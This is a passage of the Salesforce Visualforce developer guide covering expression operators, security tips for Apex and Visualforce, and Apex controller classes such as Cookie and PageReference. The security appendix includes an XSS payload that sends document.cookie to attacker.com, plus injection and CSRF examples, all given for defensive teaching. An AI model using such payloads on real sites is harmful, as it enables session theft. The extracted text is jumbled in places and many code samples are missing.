JavaScript characters and replacing characters that are reserved in HTML with HTML entity equivalents. URLENCODE Use {!JSINHTMLENCODE(text)} and replace text with the merge field or text string that contains the unsafe JavaScript characters. Encodes text and merge field values for {!URLENCODE(text)} and replace use in URLs by replacing characters that text with the merge field or text string are illegal in URLs, such as blank spaces, that you want to encode. with the code that represent those characters as defined in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank spaces are replaced with %20, and exclamation points are replaced with %21. 506 Appendix A: Global Variables, Functions, and Expression Operators Expression Operators Expression Operators Expressions can be joined to one another with operators to create compound expressions. Visualforce supports the following operators. Math Operators Operator Description Use + Calculates the sum of two values. value1 + value2 and replace each value with merge fields, expressions, or other numeric values. - Calculates the difference of two values. value1 - value2 and replace each value with merge fields, expressions, or other numeric values. * Multiplies its values. value1 * value2 and replace each value with merge fields, expressions, or other numeric values. Divides its values. / value1 / value2 and replace each value with merge fields, expressions, or other numeric values. ^ Raises a number to a power of a specified number^integer and replace number number. with a merge field, expression, or another numeric value; replace integer with a merge field that contains an integer, expression, or any integer. () Specifies that the expressions within the open parenthesis and close parenthesis are evaluated first. All other expressions are evaluated using standard operator precedence. (expression1) expression2... and replace each expression with merge fields, expressions, or other numeric values. Logical Operators Note: You can’t have a relative comparison expression that includes a null value. Doing so results in an exception. Specifically, you can’t have a null value on either side of the following operators: • • • • < (less than) <= (less than or equals) > (greater than) >= (greater than or equals) Operator Description Use = and == Evaluates if two values are equivalent. expression1=expression2 or expression1 == expression2, and replace each expression with merge 507 Appendix A: Global Variables, Functions, and Expression Operators Operator Description Expression Operators Use fields, expressions, or other numeric values. <> and != Evaluates if two values are not equivalent. expression1 <> expression2 or expression1 != expression2, and replace each expression with merge fields, expressions, or other numeric values. < Evaluates if a value is less than the value value1 < value2 and replace each that follows this symbol. value with merge fields, expressions, or other numeric values. > Evaluates if a value is greater than the value that follows this symbol. value1 > value2 and replace each value with merge fields, expressions, or other numeric values. <= Evaluates if a value is less than or equal value1 <= value2 and replace each to the value that follows this symbol. value with merge fields, expressions, or other numeric values. >= Evaluates if a value is greater than or equal to the value that follows this symbol. value1 >= value2 and replace each value with merge fields, expressions, or other numeric values. && Evaluates if two values or expressions are (logical1) && (logical2) and both true. Use this operator as an replace logical1 and logical2 with alternative to the logical function AND. the values or expressions that you want evaluated. || Evaluates if at least one of multiple values or expressions is true. Use this operator as an alternative to the logical function OR. (logical1) || (logical2) and Operator Description Use & Connects two or more strings. string1&string2 and replace each string with merge fields, expressions, replace any number of logical references with the values or expressions you want evaluated. Text Operators or other values. 508 Appendix A: Global Variables, Functions, and Expression Operators Expression Operators 509 Appendix B Security Tips for Apex and Visualforce Development Understanding Security The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and business logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However, as with any programming language, developers must be cognizant of potential security-related pitfalls. Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities, while others are unique to Apex. To certify an application for AppExchange, it is important that developers learn and understand the security flaws described here. For additional information, see the Force.com Security Resources page on Developer Force at http://wiki.developerforce.com/page/Security. Cross Site Scripting (XSS) Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style websites, news, or email archives. For example, assume the following script is included in a Force.com page using a script component, an on* event, or a Visualforce page. This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for userparam: 1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2 510 Appendix B: Security Tips for Apex and Visualforce Development Cross Site Scripting (XSS) In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were the victim. The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or session cookies, allowing an attacker full access to the victim's session. For more information on this attack in general, see the following articles: • • • • http://www.owasp.org/index.php/Cross_Site_Scripting http://www.cgisecurity.com/articles/xss-faq.shtml http://www.owasp.org/index.php/Testing_for_Cross_site_scripting http://www.google.com/search?q=cross-site+scripting Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default controls. The following sections show where protection does and does not exist. Existing Protection All standard Visualforce components, which start with , have anti-XSS filters in place. For example, the following code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted to < so that a literal < displays on the user's screen. {!$CurrentPage.parameters.userInput} Disabling Escape on Visualforce Tags By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional attribute escape="false". For example, the following output is vulnerable to XSS attacks: Programming Items Not Protected from XSS The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because these items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense to include anti-XSS filters on commands that are intentionally added to a page. Custom JavaScript If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is vulnerable to XSS if used in JavaScript. 511 Appendix B: Security Tips for Apex and Visualforce Development Unescaped Output and Formulas in Visualforce Pages The Visualforce component allows you to include a custom script on the page. In these cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is extremely vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially direct the victim to include any JavaScript file from any other website. Unescaped Output and Formulas in Visualforce Pages When using components that have set the escape attribute to false, or when including formulas outside of a Visualforce component, output is unfiltered and must be validated for security. This is especially important when using formula expressions. Formula expressions can be function calls or include information about platform objects, a user's environment, system environment, and the request environment. It is important to be aware that the output that is generated by expressions is not escaped during rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system data (that is potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering. A common vulnerability is created by rerendering user input on a page. For example, Value of myTextField is The unescaped {!myTextField} results in a cross-site scripting vulnerability. For example, if the user enters : requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped ", since it is going to be used in a link. Otherwise, the request: http://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F results in: The JavaScript executes, and the alert is displayed. In this case, to prevent the JavaScript being executed, use the JSENCODE function. For example Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external sources and may not have been screened for malicious content. Cross-Site Request Forgery (CSRF) Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way to describe CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be 513 Appendix B: Security Tips for Apex and Visualforce Development SOQL Injection any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker's page is an HTML tag that looks like this: In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods. For more information and traditional defenses, see the following articles: • • • http://www.owasp.org/index.php/Cross-Site_Request_Forgery http://www.cgisecurity.com/articles/csrf-faq.shtml http://shiflett.org/articles/cross-site-request-forgeries Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard controllers and methods. Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider the following code snippet. public class myClass { public void init() { Id id = ApexPages.currentPage().getParameters().get('id'); Account obj = [select id, Name FROM Account WHERE id = :id]; delete obj; return ; } } In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page using a CSRF attack and provided any value they wish for the id parameter. There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while authenticated. SOQL Injection In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own database query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If 514 Appendix B: Security Tips for Apex and Visualforce Development SOQL Injection the input is not validated, it can include SOQL commands that effectively modify the SOQL statement and trick the application into performing unintended commands. For more information on SQL Injection attacks see: • • • • http://www.owasp.org/index.php/SQL_injection http://www.owasp.org/index.php/Blind_SQL_Injection http://www.owasp.org/index.php/Guide_to_SQL_Injection http://www.google.com/search?q=sql+injection SOQL Injection Vulnerability in Apex Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection. ...
... For information on the debug log, see “Viewing Debug Logs” in the Salesforce online help. Cookie Class The Cookie class lets you access cookies for your Force.com site using Apex. Use the setCookies method of the pageReference class to attach cookies to a page. Important: • • • • • Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent sign and their hexadecimal representation. The setCookies method adds the prefix “apex__” to the cookie names. Setting a cookie's value to null sends a cookie with an empty string value instead of setting an expired attribute. After you create a cookie, the properties of the cookie can't be changed. Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use a cookie value to generate dynamic content, you should disable page caching. For more information, see “Caching Force.com Sites Pages” in the Salesforce online help. Consider the following limitations when using the Cookie class: • • • The Cookie class can only be accessed using Apex that is saved using the Salesforce.com API version 19 and above. The maximum number of cookies that can be set per Force.com domain depends on your browser. Newer browsers have higher limits than older ones. Cookies must be less than 4K, including name and attributes. The following are the instance methods for the Cookie class, which is part of Force.com sites. Name Arguments Return Type Description getDomain String Returns the name of the server making the request. getMaxAge Integer Returns a number representing how long the cookie is valid for, in seconds. If set to < 0, a session cookie is issued. If set to 0, the cookie is deleted. getName String Returns the name of the cookie. Can't be null. 520 Appendix C: Apex Classes Used in Visualforce Controllers Name Arguments Cookie Class Return Type Description getPath String Returns the path from which you can retrieve the cookie. If null or blank, the location is set to root, or “/”. getValue String Returns the data captured in the cookie, such as Session ID. isSecure Boolean Returns true if the cookie can only be accessed through HTTPS, otherwise returns false. For more information on sites, see “Force.com Sites Overview” in the Salesforce online help. The following example creates a class, CookieController, which is used with a Visualforce page (see markup below) to update a counter each time a user displays a page. The number of times a user goes to the page is stored in a cookie. // A Visualforce controller class that creates a cookie // used to keep track of how often a user displays a page public class CookieController { public CookieController() { Cookie counter = ApexPages.currentPage().getCookies().get('counter'); // If this is the first time the user is accessing the page, // create a new cookie with name 'counter', an initial value of '1', // path 'null', maxAge '-1', and isSecure 'false'. if (counter == null) { counter = new Cookie('counter','1',null,-1,false); } else { // If this isn't the first time the user is accessing the page // create a new cookie, incrementing the value of the original count by 1 Integer count = Integer.valueOf(counter.getValue()); counter = new Cookie('counter', String.valueOf(count+1),null,-1,false); } // Set the new cookie for the page ApexPages.currentPage().setCookies(new Cookie[]{counter}); } // This method is used by the Visualforce action {!count} to display the current // value of the number of times a user had displayed a page. // This value is stored in the cookie. public String getCount() { Cookie counter = ApexPages.currentPage().getCookies().get('counter'); if(counter == null) { return '0'; } return counter.getValue(); } // Test method for verifying the positive test case static testMethod void testCounter() { //first page view CookieController controller = new CookieController(); System.assert(controller.getCount() == '1'); //second page view controller = new CookieController(); 521 Appendix C: Apex Classes Used in Visualforce Controllers IdeaStandardController Class System.assert(controller.getCount() == '2'); } } The following is the Visualforce page that uses the CookieController Apex controller above. The action {!count} calls the getCount method in the controller above. You have seen this page {!count} times IdeaStandardController Class IdeaStandardController objects offer Ideas-specific functionality in addition to what is provided by the StandardController Class. Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through a limited release program. For information on enabling these classes for your organization, contact your salesforce.com representative. Instantiation An IdeaStandardController object cannot be instantiated. An instance can be obtained through a constructor of a custom extension controller when using the standard ideas controller. Methods A method in the IdeaStandardController object is called by and operated on a particular instance of an IdeaStandardController. The table below describes the instance method for IdeaStandardController. Name getCommentList Arguments Return Type Description IdeaComment[] Returns the list of read-only comments from the current page. This method returns the following comment properties: • id • commentBody • createdDate • createdBy.Id • createdBy.communityNickname In addition to the method listed above, the IdeaStandardController class inherits all the methods associated with the StandardController Class. The following table lists these methods. 522 Appendix C: Apex Classes Used in Visualforce Controllers IdeaStandardController Class Name Arguments Return Type Description addFields List Void When a Visualforce page is loaded, the fields accessible to the page are based on the fields referenced in the Visualforce markup. This method adds a reference to each field specified in fieldNames so that the controller can explicitly access those fields as well. fieldNames This method should be called before a record has been loaded—typically, it's called by the controller's constructor. If this method is called outside of the constructor, you must use the reset() method before calling addFields(). The strings in fieldNames can either be the API name of a field, such as AccountId, or they can be explicit relationships to fields, such as foo__r.myField__c. This method is only for controllers used by dynamicVisualforce bindings. cancel System.PageReference Returns the PageReference of the cancel page. delete System.PageReference Deletes record and returns the PageReference of the delete page. edit System.PageReference Returns the PageReference of the standard edit page. getId String Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL. getRecord SObject Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL. Note that only the fields that are referenced in the associated Visualforce markup are available for querying on this SObject. All other fields, including fields from any related objects, must be queried using a SOQL expression. Tip: You can work around this restriction by including a hidden component that references any additional fields that you want to query. Hide the component from display by setting the component's rendered attribute to false. For example: 523 Appendix C: Apex Classes Used in Visualforce Controllers Name Arguments reset IdeaStandardController Class Return Type Description Void Forces the controller to reacquire access to newly referenced fields. Any changes made to the record prior to this method call are discarded. This method is only used if addFields is called outside the constructor, and it must be called directly before addFields. This method is only for controllers used by dynamicVisualforce bindings. save System.PageReference Saves changes and returns the updated PageReference. view System.PageReference Returns the PageReference object of the standard detail page. Example The following example shows how an IdeaStandardController object can be used in the constructor for a custom list controller. This example provides the framework for manipulating the comment list data before displaying it on a Visualforce page. public class MyIdeaExtension { private final ApexPages.IdeaStandardController ideaController; public MyIdeaExtension(ApexPages.IdeaStandardController controller) { ideaController = (ApexPages.IdeaStandardController)controller; } public List getModifiedComments() { IdeaComment[] comments = ideaController.getCommentList(); // modify comments here return comments; } } The following Visualforce markup shows how the IdeaStandardController example shown above can be used in a page. This page must be named detailPage for this example to work. Note: For the Visualforce page to display the idea and its comments, in the following example you need to specify the ID of a specific idea (for example, /apex/detailPage?id=) whose comments you want to view. {!idea.title}

{!idea.body}
{!a.commentBody} Prev 524 Appendix C: Apex Classes Used in Visualforce Controllers IdeaStandardSetController Class | Next
IdeaStandardSetController Class IdeaStandardSetController objects offer Ideas-specific functionality in additional to what is provided by the StandardSetController Class. Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through a limited release program. For information on enabling these classes for your organization, contact your salesforce.com representative. Instantiation An IdeaStandardSetController object cannot be instantiated. An instance can be obtained through a constructor of a custom extension controller when using the standard list controller for ideas. Methods A method in the IdeaStandardSetController object is called by and operated on a particular instance of an IdeaStandardSetController. The table below describes the instance method for IdeaStandardSetController. Name getIdeaList Arguments Return Type Description Idea[] Returns the list of read-only ideas in the current page set. You can use the , , and components to display profile pages as well as idea list and detail pages (see the examples below). The following is a list of properties returned by this method: • Body • Categories • Category • CreatedBy.CommunityNickname • CreatedBy.Id • CreatedDate • Id • LastCommentDate • LastComment.Id • LastComment.CommentBody • LastComment.CreatedBy.CommunityNickname • LastComment.CreatedBy.Id • NumComments 525 Appendix C: Apex Classes Used in Visualforce Controllers Name Arguments Return Type IdeaStandardSetController Class Description • • • Status Title VoteTotal In addition to the method listed above, the IdeaStandardSetController class inherits the methods associated with the StandardSetController Class. Note: The methods inherited from the StandardSetController Class cannot be used to affect the list of ideas returned by the getIdeaList method. The following table lists the inherited methods. Name Arguments Return Type Description cancel System.PageReference Returns the PageReference of the original page, if known, or the home page. first Void Returns the first page of records. getCompleteResult Boolean Indicates whether there are more records in the set than the maximum record limit. If this is false, there are more records than you can process using the list controller. The maximum record limit is 10,000 records. getFilterId String Returns the ID of the filter that is currently in context. getHasNext Boolean Indicates whether there are more records after the current page set. getHasPrevious Boolean Indicates whether there are more records before the current page set. getListViewOptions System.SelectOption[] Returns a list of the listviews available to the current user. getPageNumber Integer Returns the page number of the current page set. Note that the first page returns 1. getPageSize Integer Returns the number of records included in each page set. getRecord sObject Returns the sObject that represents the changes to the selected records.This retrieves the prototype object contained within the class, and is used for performing mass updates. getRecords sObject[] Returns the list of sObjects in the current page set. This list is immutable, i.e. you can't call clear() on it. getResultSize Integer Returns the number of records in the set. getSelected sObject[] Returns the list of sObjects that have been selected. last Void Returns the last page of records. 526 Appendix C: Apex Classes Used in Visualforce Controllers Name Arguments IdeaStandardSetController Class Return Type Description next Void Returns the next page of records. previous Void Returns the previous page of records. save System.PageReference Inserts new records or updates existing records that have been changed. After this operation is finished, it returns a PageReference to the original page, if known, or the home page. setFilterID String filterId Void Sets the filter ID of the controller. setpageNumber Integer pageNumber Void Sets the page number. setPageSize Integer pageSize Void Sets the number of records in each page set. setSelected sObjects[] Void Set the selected records. selectedRecords Example: Displaying a Profile Page The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list controller: public class MyIdeaProfileExtension { private final ApexPages.IdeaStandardSetController ideaSetController; public MyIdeaProfileExtension(ApexPages.IdeaStandardSetController controller) { ideaSetController = (ApexPages.IdeaStandardSetController)controller; } public List getModifiedIdeas() { Idea[] ideas = ideaSetController.getIdeaList(); // modify ideas here return ideas; } } The following Visualforce markup shows how the IdeaStandardSetController example shown above and the component can display a profile page that lists the recent replies, submitted ideas, and votes associated with a user. Because this example does not identify a specific user ID, the page automatically shows the profile page for the current logged in user. This page must be named profilePage in order for this example to work: Recent Replies | Ideas Submitted | Ideas Voted 527 Appendix C: Apex Classes Used in Visualforce Controllers IdeaStandardSetController Class {!ideadata.title} In the previous example, the component links to the following Visualforce markup that displays the detail page for a specific idea. This page must be named viewPage in order for this example to work: {!idea.title}

{!idea.body}
Example: Displaying a List of Top, Recent, and Most Popular Ideas and Comments The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list controller: Note: You must have created at least one idea for this example to return any ideas. public class MyIdeaListExtension { private final ApexPages.IdeaStandardSetController ideaSetController; public MyIdeaListExtension (ApexPages.IdeaStandardSetController controller) { ideaSetController = (ApexPages.IdeaStandardSetController)controller; } public List getModifiedIdeas() { Idea[] ideas = ideaSetController.getIdeaList(); // modify ideas here return ideas; } } The following Visualforce markup shows how the IdeaStandardSetController example shown above can be used with the component to display a list of recent, top, and most popular ideas and comments. This page must be named listPage in order for this example to work: Recent Ideas | Top Ideas | Popular Ideas | Recent Comments 528 Appendix C: Apex Classes Used in Visualforce Controllers KnowledgeArticleVersionStandardController Class {!ideadata.title} In the previous example, the component links to the following Visualforce markup that displays the detail page for a specific idea. This page must be named viewPage. {!idea.title}

{!idea.body}
KnowledgeArticleVersionStandardController Class KnowledgeArticleVersionStandardController objects offer article-specific functionality in addition to what is provided by the StandardController Class. Methods The KnowledgeArticleVersionStandardController object has the following specialized instance methods: Name Arguments Return Type Description getSourceId String Returns the ID for the source object record when creating a new article from another object. setDataCategory String categoryGroup Void Specifies a default data category for the specified data category group when creating a new article. String category In addition to the method listed above, the KnowledgeArticleVersionStandardController class inherits all the methods associated with the StandardController Class. The following table lists the inherited methods. Note: Though inherited, the edit, delete, and save methods don't serve a function when used with the KnowledgeArticleVersionStandardController class. Name Arguments Return Type Description addFields List Void When a Visualforce page is loaded, the fields accessible to the page are based on the fields referenced in the Visualforce markup. This method adds a reference to fieldNames 529 Appendix C: Apex Classes Used in Visualforce Controllers Name Arguments Return Type KnowledgeArticleVersionStandardController Class Description each field specified in fieldNames so that the controller can explicitly access those fields as well. This method should be called before a record has been loaded—typically, it's called by the controller's constructor. If this method is called outside of the constructor, you must use the reset() method before calling addFields(). The strings in fieldNames can either be the API name of a field, such as AccountId, or they can be explicit relationships to fields, such as foo__r.myField__c. This method is only for controllers used by dynamicVisualforce bindings. cancel System.PageReference Returns the PageReference of the cancel page. delete System.PageReference Deletes record and returns the PageReference of the delete page. edit System.PageReference Returns the PageReference of the standard edit page. getId String Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL. getRecord SObject Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL. Note that only the fields that are referenced in the associated Visualforce markup are available for querying on this SObject. All other fields, including fields from any related objects, must be queried using a SOQL expression. Tip: You can work around this restriction by including a hidden component that references any additional fields that you want to query. Hide the component from display by setting the component's rendered attribute to false. For example: 530 Appendix C: Apex Classes Used in Visualforce Controllers Name Arguments reset KnowledgeArticleVersionStandardController Class Return Type Description Void Forces the controller to reacquire access to newly referenced fields. Any changes made to the record prior to this method call are discarded. This method is only used if addFields is called outside the constructor, and it must be called directly before addFields. This method is only for controllers used by dynamicVisualforce bindings. save System.PageReference Saves changes and returns the updated PageReference. view System.PageReference Returns the PageReference object of the standard detail page. Example The following example shows how a KnowledgeArticleVersionStandardController object can be used to create a custom extension controller. In this example, you create a class named AgentContributionArticleController that allows customer-support agents to see pre-populated fields on the draft articles they create while closing cases. Prerequisites: 1. Create an article type called FAQ. For instructions, see “Defining Article Types” in the Salesforce online help. 2. Create a text custom field called Details. For instructions, see “Adding Custom Fields to Article Types” in the Salesforce online help. 3. Create a category group called Geography and assign it to a category called USA. For instructions, see “Creating and Modifying Category Groups” and “Adding Data Categories to Category Groups” in the Salesforce online help. 4. Create a category group called Topics and assign it a category called Maintenance. /** Custom extension controller for the simplified article edit page that appears when an article is created on the close-case page. */ public class AgentContributionArticleController { // The constructor must take a ApexPages.KnowledgeArticleVersionStandardController as an argument public AgentContributionArticleController( ApexPages.KnowledgeArticleVersionStandardController ctl) { // This is the SObject for the new article. //It can optionally be cast to the proper article type. // For example, FAQ__kav article = (FAQ__kav) ctl.getRecord(); SObject article = ctl.getRecord(); // This returns the ID of the case that was closed. String sourceId = ctl.getSourceId(); Case c = [SELECT Subject, Description FROM Case WHERE Id=:sourceId]; // This overrides the default behavior of pre-filling the // title of the article with the subject of the closed case. article.put('title', 'From Case: '+c.subject); article.put('details__c',c.description); // Only one category per category group can be specified. ctl.selectDataCategory('Geography','USA'); ctl.selectDataCategory('Topics','Maintenance'); } /** Test for this custom extension controller 531 Appendix C: Apex Classes Used in Visualforce Controllers Message Class */ public static testMethod void testAgentContributionArticleController() { String caseSubject = 'my test'; String caseDesc = 'my test description'; Case c = new Case(); c.subject= caseSubject; c.description = caseDesc; insert c; String caseId = c.id; System.debug('Created Case: ' + caseId); ApexPages.currentPage().getParameters().put('sourceId', caseId); ApexPages.currentPage().getParameters().put('sfdc.override', '1'); ApexPages.KnowledgeArticleVersionStandardController ctl = new ApexPages.KnowledgeArticleVersionStandardController(new FAQ__kav()); new AgentContributionArticleController(ctl); System.assertEquals(caseId, ctl.getSourceId()); System.assertEquals('From Case: '+caseSubject, ctl.getRecord().get('title')); System.assertEquals(caseDesc, ctl.getRecord().get('details__c')); } } If you created the custom extension controller for the purpose described in the previous example (that is, to modify submitted-via-case articles), complete the following steps after creating the class: 1. Log into your Salesforce organization and click Your Name > Setup > Customize > Knowledge > Settings. 2. Click Edit. 3. Assign the class to the Use Apex customization field. This associates the article type specified in the new class with the article type assigned to closed cases. 4. Click Save. Message Class When using a standard controller, all validation errors, both custom and standard, that occur when the end user saves the page are automatically added to the page error collections. If there is an inputField component bound to the field with an error, the message is added to the components error collection. All messages are added to the pages error collection. For more information, see Validation Rules and Standard Controllers in the Visualforce Developer's Guide. If your application uses a custom controller or extension, you must use the message class for collecting errors. Instantiation In a custom controller or controller extension, you can instantiate a Message in one of the following ways: 532 Appendix C: Apex Classes Used in Visualforce Controllers • PageReference Class ApexPages.Message myMsg = new ApexPages.Message(ApexPages.severity, summary); where ApexPages.severity is the enum that is determines how severe a message is, and summary is the String used to summarize the message. For example: ApexPages.Message myMsg = new ApexPages.Message(ApexPages.Severity.FATAL, 'my error msg'); • ApexPages.Message myMsg = new ApexPages.Message(ApexPages.severity, summary, detail); where ApexPages. severity is the enum that is determines how severe a message is, summary is the String used to summarize the message, and detail is the String used to provide more detailed information about the error. Methods The Message methods are all called by and operate on a particular instance of Message. The table below describes the instance methods for Message. Name Arguments Return Type Description getComponentLabel String Returns the label of the associated inputField component. If no label is defined, this method returns null. getDetail String Returns the value of the detail parameter used to create the message. If no detail String was specified, this method returns null. getSeverity ApexPages.Severity Returns the severity enum used to create the message. getSummary String Returns the summary String used to create the message. ApexPages.Severity Enum Using the ApexPages.Severity enum values, specify the severity of the message. The following are the valid values: • • • • • CONFIRM ERROR FATAL INFO WARNING All enums have access to standard methods, such as name and value. PageReference Class A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of query parameter names and values. Use a PageReference object: • To view or set query string parameters and values for a page 533 Appendix C: Apex Classes Used in Visualforce Controllers • PageReference Class To navigate the user to a different page as the result of an action method Instantiation In a custom controller or controller extension, you can refer to or instantiate a PageReference in one of the following ways: • Page.existingPageName Refers to a PageReference for a Visualforce page that has already been saved in your organization. By referring to a page in this way, the platform recognizes that this controller or controller extension is dependent on the existence of the specified page and will prevent the page from being deleted while the controller or extension exists. • PageReference pageRef = new PageReference('partialURL'); Creates a PageReference to any page that is hosted on the Force.com platform. For example, setting 'partialURL' to '/apex/HelloWorld' refers to the Visualforce page located at http://mySalesforceInstance/apex/HelloWorld. Likewise, setting 'partialURL' to '/' + 'recordID' refers to the detail page for the specified record. This syntax is less preferable for referencing other Visualforce pages than Page.existingPageName because the PageReference is constructed at runtime, rather than referenced at compile time. Runtime references are not available to the referential integrity system. Consequently, the platform doesn't recognize that this controller or controller extension is dependent on the existence of the specified page and won't issue an error message to prevent user deletion of the page. • PageReference pageRef = new PageReference('fullURL'); Creates a PageReference for an external URL. For example: PageReference pageRef = new PageReference('http://www.google.com'); You can also instantiate a PageReference object for the current page with the currentPage ApexPages method. For example: PageReference pageRef = ApexPages.currentPage(); Methods PageReference methods are all called by and operate on a particular instance of a PageReference. The table below describes the instance methods for PageReference. Name Arguments Return Type Description getAnchor String Returns the name of the anchor referenced in the page’s URL. That is, the part of the URL after the hashtag (#). getContent Blob Returns the output of the page, as displayed to a user in a Web browser. The content of the returned Blob is dependent on how the page is rendered. If the page is rendered as a PDF, it returns the PDF. If the page is not rendered as a PDF, it returns the HTML. To access the content of the returned HTML as a string, use the toString Blob method. Note: If you use getContent in a test method, a blank PDF is generated when used with a Visualforce page that is supposed to render as PDF. 534 Appendix C: Apex Classes Used in Visualforce Controllers Name Arguments Return Type PageReference Class Description This method can't be used in: • • • • • Triggers Scheduled Apex Batch jobs Test methods Apex email services If there's an error on the Visualforce page, an ExecutionException is thrown. getContentAsPDF Blob Returns the page as a PDF, regardless of the component's renderAs attribute. This method can't be used in: • • • • • Triggers Scheduled Apex Batch jobs Test methods Apex email services getCookies Map Returns a map of cookie names and cookie objects, where the key is a String of the cookie name and the value contains the list of cookie objects with that name. Used in conjunction with the Cookie class. Only returns cookies with the “apex__” prefix set by the setCookies method. getHeaders Map Returns a map of the request headers, where the key string contains the name of the header, and the value string contains the value of the header. This map can be modified and remains in scope for the PageReference object. For instance, you could do: PageReference.getHeaders().put('Date', '9/9/99'); For a description of request headers, see Request Headers on page 537. getParameters Map Returns a map of the query string parameters that are included in the page URL. The key string contains the name of the parameter, while the value string contains the value of the parameter. This map can be modified and remains in scope for the PageReference object. For instance, you could do: PageReference.getParameters().put('id', myID); 535 Appendix C: Apex Classes Used in Visualforce Controllers Name Arguments getRedirect PageReference Class Return Type Description Boolean Returns the current value of the PageReference object's redirect attribute. Note that if the URL of the PageReference object is set to a website outside of the salesforce.com domain, the redirect always occurs, regardless of whether the redirect attribute is set to true or false. String getUrl Returns the relative URL associated with the PageReference when it was originally defined, including any query string parameters and anchors. setAnchor String Anchor System.PageReference Sets the URL’s anchor reference to the specified string. For example, https://Salesforce_instance/apex/my_page#anchor1. setCookies Cookie[] cookies Void Creates a list of cookie objects. Used in conjunction with the Cookie class. Important: • • • • • setRedirect Boolean redirect Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent sign and their hexadecimal representation. The setCookies method adds the prefix “apex__” to the cookie names. Setting a cookie's value to null sends a cookie with an empty string value instead of setting an expired attribute. After you create a cookie, the properties of the cookie can't be changed. Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use a cookie value to generate dynamic content, you should disable page caching. For more information, see “Caching Force.com Sites Pages” in the Salesforce online help. System.PageReference Sets the value of the PageReference object's redirect attribute. If set to true, a redirect is performed through a client 